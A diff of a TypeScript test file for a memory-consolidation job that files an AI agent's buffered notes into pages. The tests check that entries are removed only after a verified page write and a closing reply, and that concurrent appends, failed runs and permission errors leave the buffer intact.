  throw new Error("unreachable");
845
867
  }
846
868
  expect(result.noProgress).toBe(false);
869
+ expect(result.consumedEntries).toBe(2);
870
+ expect(readFileSync(bufferPath(), "utf-8")).toBe("");
871
+ expect(messagesRequestedFor).toEqual(["conv-1"]);
847
872
  expect(result.followUpJobIds).toEqual(["job-1"]);
848
873
  expect(enqueuedJobs.map((j) => j.type)).toEqual(["memory_v2_reembed"]);
849
874
  });
850
875
 
851
- test("a partially trimmed buffer counts as progress", async () => {
876
+ test("an entry appended while the run is in flight is still in the buffer afterwards", async () => {
877
+ // The specimen: remember() lands mid-run, after the snapshot. The run
878
+ // never saw it, so it must not be consumed with the pass.
879
+ const midRun = formatRememberEntry(
880
+ "Bob joined the standup.",
881
+ new Date(2026, 3, 27, 9, 6),
882
+ );
852
883
  runnerImpl = async () => {
853
- writeFileSync(
854
- bufferPath(),
855
- "- [Apr 27, 9:05 AM] Alice ships at end of day.\n",
856
- );
884
+ appendFileSync(bufferPath(), midRun);
857
885
  return { conversationId: "conv-1", ok: true };
858
886
  };
859
887
 
@@ -864,14 +892,40 @@ describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", (
864
892
  throw new Error("unreachable");
865
893
  }
866
894
  expect(result.noProgress).toBe(false);
867
- expect(enqueuedJobs.map((j) => j.type)).toEqual(["memory_v2_reembed"]);
895
+ expect(result.consumedEntries).toBe(2);
896
+ expect(readFileSync(bufferPath(), "utf-8")).toBe(midRun);
897
+ expect(runnerLastArgs?.prompt as string).not.toContain(
898
+ "Bob joined the standup.",
899
+ );
868
900
  });
869
901
 
870
- test("an unchanged buffer reports noProgress and skips all follow-ups", async () => {
871
- // The runner completes ok but never touches buffer.md the stuck-agent
872
- // shape: without the progress check the size trigger would re-fire and
873
- // every re-fire would fan out another reembed.
874
- runnerImpl = async () => ({ conversationId: "conv-1", ok: true });
902
+ test("a run with no verified page write consumes nothing and reports noProgress", async () => {
903
+ // The run completed but its messages carry no successful page write:
904
+ // a prose-only reply, or writes that all errored. Consuming would
905
+ // delete the entries unfiled.
906
+ runMessages = [
907
+ {
908
+ role: "assistant",
909
+ content: [
910
+ { type: "tool_use", id: "t1", name: "file_write", input: {} },
911
+ ],
912
+ },
913
+ {
914
+ role: "user",
915
+ content: [
916
+ {
917
+ type: "tool_result",
918
+ tool_use_id: "t1",
919
+ is_error: true,
920
+ content: "EACCES",
921
+ },
922
+ ],
923
+ },
924
+ {
925
+ role: "assistant",
926
+ content: [{ type: "text", text: "Nothing to file." }],
927
+ },
928
+ ];
875
929
 
876
930
  const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
877
931
 
@@ -880,18 +934,148 @@ describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", (
880
934
  throw new Error("unreachable");
881
935
  }
882
936
  expect(result.noProgress).toBe(true);
937
+ expect(result.consumedEntries).toBe(0);
938
+ expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
883
939
  expect(result.followUpJobIds).toEqual([]);
884
940
  expect(enqueuedJobs).toHaveLength(0);
885
941
  });
886
942
 
887
- test("a grown buffer reports noProgress and skips all follow-ups", async () => {
943
+ test("a run that wrote a page but stopped mid-work consumes nothing", async () => {
944
+ // A repair-step page fix satisfies the write half of the gate; the run
945
+ // then ends on a tool call with no closing reply. It never filed its
946
+ // pass, so the pass stays.
947
+ runMessages = [
948
+ {
949
+ role: "assistant",
950
+ content: [
951
+ { type: "tool_use", id: "t1", name: "file_write", input: {} },
952
+ ],
953
+ },
954
+ {
955
+ role: "user",
956
+ content: [{ type: "tool_result", tool_use_id: "t1", content: "ok" }],
957
+ },
958
+ {
959
+ role: "assistant",
960
+ content: [{ type: "tool_use", id: "t2", name: "file_read", input: {} }],
961
+ },
962
+ {
963
+ role: "user",
964
+ content: [{ type: "tool_result", tool_use_id: "t2", content: "..." }],
965
+ },
966
+ ];
967
+
968
+ const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
969
+
970
+ expect(result.kind).toBe("invoked");
971
+ if (result.kind !== "invoked") {
972
+ throw new Error("unreachable");
973
+ }
974
+ expect(result.noProgress).toBe(true);
975
+ expect(result.consumedEntries).toBe(0);
976
+ expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
977
+ expect(enqueuedJobs).toHaveLength(0);
978
+ });
979
+
980
+ test("narration on the row that called the tool does not count as concluding", async () => {
981
+ // The model said "fixing that page now", called file_write, and the run
982
+ // stopped after the result. Text on a tool-call row is not the closing
983
+ // reply; the pass stays.
984
+ runMessages = [
985
+ {
986
+ role: "assistant",
987
+ content: [
988
+ { type: "text", text: "Fixing that page now." },
989
+ { type: "tool_use", id: "t1", name: "file_write", input: {} },
990
+ ],
991
+ },
992
+ {
993
+ role: "user",
994
+ content: [{ type: "tool_result", tool_use_id: "t1", content: "ok" }],
995
+ },
996
+ ];
997
+
998
+ const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
999
+
1000
+ expect(result.kind).toBe("invoked");
1001
+ if (result.kind !== "invoked") {
1002
+ throw new Error("unreachable");
1003
+ }
1004
+ expect(result.noProgress).toBe(true);
1005
+ expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
1006
+ });
1007
+
1008
+ test("only page-writing tools count as evidence", async () => {
1009
+ runMessages = [
1010
+ {
1011
+ role: "assistant",
1012
+ content: [
1013
+ { type: "tool_use", id: "t1", name: "file_read", input: {} },
1014
+ { type: "tool_use", id: "t2", name: "recall", input: {} },
1015
+ ],
1016
+ },
1017
+ {
1018
+ role: "user",
1019
+ content: [
1020
+ { type: "tool_result", tool_use_id: "t1", content: "..." },
1021
+ { type: "tool_result", tool_use_id: "t2", content: "..." },
1022
+ ],
1023
+ },
1024
+ {
1025
+ role: "assistant",
1026
+ content: [{ type: "text", text: "Read everything, filed nothing." }],
1027
+ },
1028
+ ];
1029
+
1030
+ const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1031
+
1032
+ expect(result.kind).toBe("invoked");
1033
+ if (result.kind !== "invoked") {
1034
+ throw new Error("unreachable");
1035
+ }
1036
+ expect(result.noProgress).toBe(true);
1037
+ expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
1038
+ });
1039
+
1040
+ test("a failed run leaves the buffer intact for the next pass", async () => {
1041
+ runnerImpl = async () => ({
1042
+ conversationId: "conv-1",
1043
+ ok: false,
1044
+ error: new Error("timed out"),
1045
+ errorKind: "timeout",
1046
+ });
1047
+
1048
+ const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1049
+
1050
+ expect(result.kind).toBe("run_failed");
1051
+ expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
1052
+ expect(messagesRequestedFor).toEqual([]);
1053
+ });
1054
+
1055
+ test("a skipped run consumes nothing and reads no evidence", async () => {
1056
+ runnerImpl = async () => ({
1057
+ conversationId: "",
1058
+ ok: true,
1059
+ skipReason: "pre_first_user_message",
1060
+ });
1061
+
1062
+ const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1063
+
1064
+ expect(result.kind).toBe("invoked");
1065
+ if (result.kind !== "invoked") {
1066
+ throw new Error("unreachable");
1067
+ }
1068
+ expect(result.noProgress).toBe(true);
1069
+ expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
1070
+ expect(messagesRequestedFor).toEqual([]);
1071
+ });
1072
+
1073
+ test("an agent that rewrote the buffer anyway still counts as progress, minus what it dropped", async () => {
1074
+ // A customized prompt that trims the buffer itself: the pass's entries
1075
+ // are already gone when the job goes to consume them. That is progress
1076
+ // (the run filed them); the job warns rather than failing the run.
888
1077
  runnerImpl = async () => {
889
- writeFileSync(
890
- bufferPath(),
891
- "- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
892
- "- [Apr 27, 9:05 AM] Alice ships at end of day.\n" +
893
- "- [Apr 27, 9:06 AM] Bob joined the standup.\n",
894
- );
1078
+ writeFileSync(bufferPath(), "");
895
1079
  return { conversationId: "conv-1", ok: true };
896
1080
  };
897
1081
 
@@ -901,9 +1085,135 @@ describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", (
901
1085
  if (result.kind !== "invoked") {
902
1086
  throw new Error("unreachable");
903
1087
  }
904
- expect(result.noProgress).toBe(true);
905
- expect(result.followUpJobIds).toEqual([]);
906
- expect(enqueuedJobs).toHaveLength(0);
1088
+ expect(result.noProgress).toBe(false);
1089
+ expect(result.consumedEntries).toBe(2);
1090
+ expect(enqueuedJobs.map((j) => j.type)).toEqual(["memory_v2_reembed"]);
1091
+ });
1092
+
1093
+ test("a snapshot that caught an append mid-write leaves its last entry for the next pass", async () => {
1094
+ // An append is one write ending in a newline; a snapshot without one
1095
+ // may have caught an append in flight. The job re-reads after a short
1096
+ // settle: the rest of the append lands in that window here, so the
1097
+ // entry is incomplete and is not handed to the run.
1098
+ writeFileSync(
1099
+ bufferPath(),
1100
+ "- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
1101
+ "- [Apr 27, 9:05 AM] Alice ships at end of",
1102
+ );
1103
+ setTimeout(() => appendFileSync(bufferPath(), " day.\n"), 10);
1104
+
1105
+ const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1106
+
1107
+ expect(result.kind).toBe("invoked");
1108
+ if (result.kind !== "invoked") {
1109
+ throw new Error("unreachable");
1110
+ }
1111
+ expect(result.consumedEntries).toBe(1);
1112
+ expect(runnerLastArgs?.prompt as string).not.toContain("Alice ships");
1113
+ expect(readFileSync(bufferPath(), "utf-8")).toBe(
1114
+ "- [Apr 27, 9:05 AM] Alice ships at end of day.\n",
1115
+ );
1116
+ });
1117
+
1118
+ test("a stable buffer without a terminating newline is filed whole", async () => {
1119
+ // A buffer last rewritten without a trailing newline (an agent's
1120
+ // file_write under an older prompt, a hand edit) is a persisted shape
1121
+ // that must keep working: nothing is mid-write, so after the settle
1122
+ // re-read its last entry is complete, filed, and consumed, and the
1123
+ // rewrite leaves the buffer newline-terminated.
1124
+ writeFileSync(
1125
+ bufferPath(),
1126
+ "- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
1127
+ "- [Apr 27, 9:05 AM] Alice ships at end of day.",
1128
+ );
1129
+
1130
+ const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1131
+
1132
+ expect(result.kind).toBe("invoked");
1133
+ if (result.kind !== "invoked") {
1134
+ throw new Error("unreachable");
1135
+ }
1136
+ expect(result.consumedEntries).toBe(2);
1137
+ expect(runnerLastArgs?.prompt as string).toContain(
1138
+ "Alice ships at end of day.",
1139
+ );
1140
+ expect(readFileSync(bufferPath(), "utf-8")).toBe("");
1141
+ });
1142
+
1143
+ test("a single unterminated entry is not deferred forever", async () => {
1144
+ writeFileSync(bufferPath(), "- [Apr 27, 9:00 AM] Only entry, no newline");
1145
+
1146
+ const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1147
+
1148
+ expect(result.kind).toBe("invoked");
1149
+ if (result.kind !== "invoked") {
1150
+ throw new Error("unreachable");
1151
+ }
1152
+ expect(result.consumedEntries).toBe(1);
1153
+ expect(readFileSync(bufferPath(), "utf-8")).toBe("");
1154
+ });
1155
+
1156
+ test("hand-written prose before the first entry is filed with the pass", async () => {
1157
+ writeFileSync(bufferPath(), "Some notes I typed by hand.\n" + TWO_ENTRIES);
1158
+
1159
+ const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1160
+
1161
+ expect(result.kind).toBe("invoked");
1162
+ if (result.kind !== "invoked") {
1163
+ throw new Error("unreachable");
1164
+ }
1165
+ expect(runnerLastArgs?.prompt as string).toContain(
1166
+ "<buffer_entries>\nSome notes I typed by hand.\n- [Apr 27, 9:00 AM]",
1167
+ );
1168
+ expect(result.consumedEntries).toBe(3);
1169
+ expect(readFileSync(bufferPath(), "utf-8")).toBe("");
1170
+ });
1171
+
1172
+ test("a buffer whose every entry is stamped with the cutoff minute skips the run", async () => {
1173
+ // Entries stamped in the dispatch minute are the next pass's material,
1174
+ // so a buffer holding only those has nothing eligible: no agent run,
1175
+ // no failure bookkeeping.
1176
+ if (new Date().getSeconds() >= 57) {
1177
+ await Bun.sleep(3500);
1178
+ }
1179
+ const now = new Date();
1180
+ writeFileSync(
1181
+ bufferPath(),
1182
+ formatRememberEntry("Just saved.", now) +
1183
+ formatRememberEntry("Also just saved.", now),
1184
+ );
1185
+
1186
+ const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1187
+
1188
+ expect(result.kind).toBe("nothing_eligible");
1189
+ if (result.kind !== "nothing_eligible") {
1190
+ throw new Error("unreachable");
1191
+ }
1192
+ expect(result.cutoff).toBe(formatBufferTimestamp(now));
1193
+ expect(runnerCalls).toBe(0);
1194
+ expect(existsSync(lockPath())).toBe(false);
1195
+ expect(checkpointStore.size).toBe(0);
1196
+ });
1197
+
1198
+ test("a consume that fails leaves the buffer intact and reports noProgress", async () => {
1199
+ // The consume writes a temp file beside the buffer; a directory it
1200
+ // cannot write to makes it throw. The job must not guess at the
1201
+ // buffer's state: no removal, no follow-ups.
1202
+ chmodSync(memoryDir(), 0o500);
1203
+ try {
1204
+ const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1205
+
1206
+ expect(result.kind).toBe("invoked");
1207
+ if (result.kind !== "invoked") {
1208
+ throw new Error("unreachable");
1209
+ }
1210
+ expect(result.noProgress).toBe(true);
1211
+ expect(result.consumedEntries).toBe(0);
1212
+ expect(enqueuedJobs).toHaveLength(0);
1213
+ } finally {
1214
+ chmodSync(memoryDir(), 0o700);
1215
+ }
1216
+ expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
907
1217
  });
908
1218
 
909
1219
  test("a run that leaves dangling links reports the count and still enqueues follow-ups", async () => {
@@ -916,7 +1226,6 @@ describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", (
916
1226
  join(conceptsDir, "atl-1290.md"),
917
1227
  "---\nlinks:\n - atl-1291\n---\n# ATL-1290\n",
918
1228
  );
919
- writeFileSync(bufferPath(), "");
920
1229
  invalidatePageIndex();
921
1230
  return { conversationId: "conv-1", ok: true };
922
1231
  };
@@ -947,7 +1256,6 @@ describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", (
947
1256
  invalidatePageIndex();
948
1257
  runnerImpl = async () => {
949
1258
  writeFileSync(join(conceptsDir, "atl-1291.md"), "# ATL-1291\n");
950
- writeFileSync(bufferPath(), "");
951
1259
  invalidatePageIndex();
952
1260
  return { conversationId: "conv-1", ok: true };
953
1261
  };
@@ -978,7 +1286,7 @@ describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", (
978
1286
  "---\nlinks:\n - atl-1291\n---\n# ATL-1290\n",
979
1287
  );
980
1288
  invalidatePageIndex();
981
- runnerImpl = async () => ({ conversationId: "conv-1", ok: true });
1289
+ runMessages = [];
982
1290
  try {
983
1291
  const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
984
1292
 
@@ -1019,8 +1327,8 @@ describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", (
1019
1327
  if (result.kind !== "invoked") {
1020
1328
  throw new Error("unreachable");
1021
1329
  }
1022
- // Dedup is not no-progress: the run drained the buffer; the follow-ups
1023
- // are simply already covered by pending rows.
1330
+ // Dedup is not no-progress: the pass was consumed; the follow-ups are
1331
+ // simply already covered by pending rows.
1024
1332
  expect(result.noProgress).toBe(false);
1025
1333
  expect(result.followUpJobIds).toEqual([]);
1026
1334
  expect(enqueuedJobs).toHaveLength(0);
@@ -1226,8 +1534,8 @@ describe("memoryV2ConsolidateJob — consecutive-failure state", () => {
1226
1534
 
1227
1535
  test("a completed run with no progress records a transient failure instead of clearing", async () => {
1228
1536
  seedFailureState(2, Date.now() - 60_000, "billing");
1229
- // Completes ok but never touches buffer.md the stuck-agent shape.
1230
- runnerImpl = async () => ({ conversationId: "conv-1", ok: true });
1537
+ // Completes ok but wrote no page: the stuck-agent shape.
1538
+ runMessages = [];
1231
1539
 
1232
1540
  const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1233
1541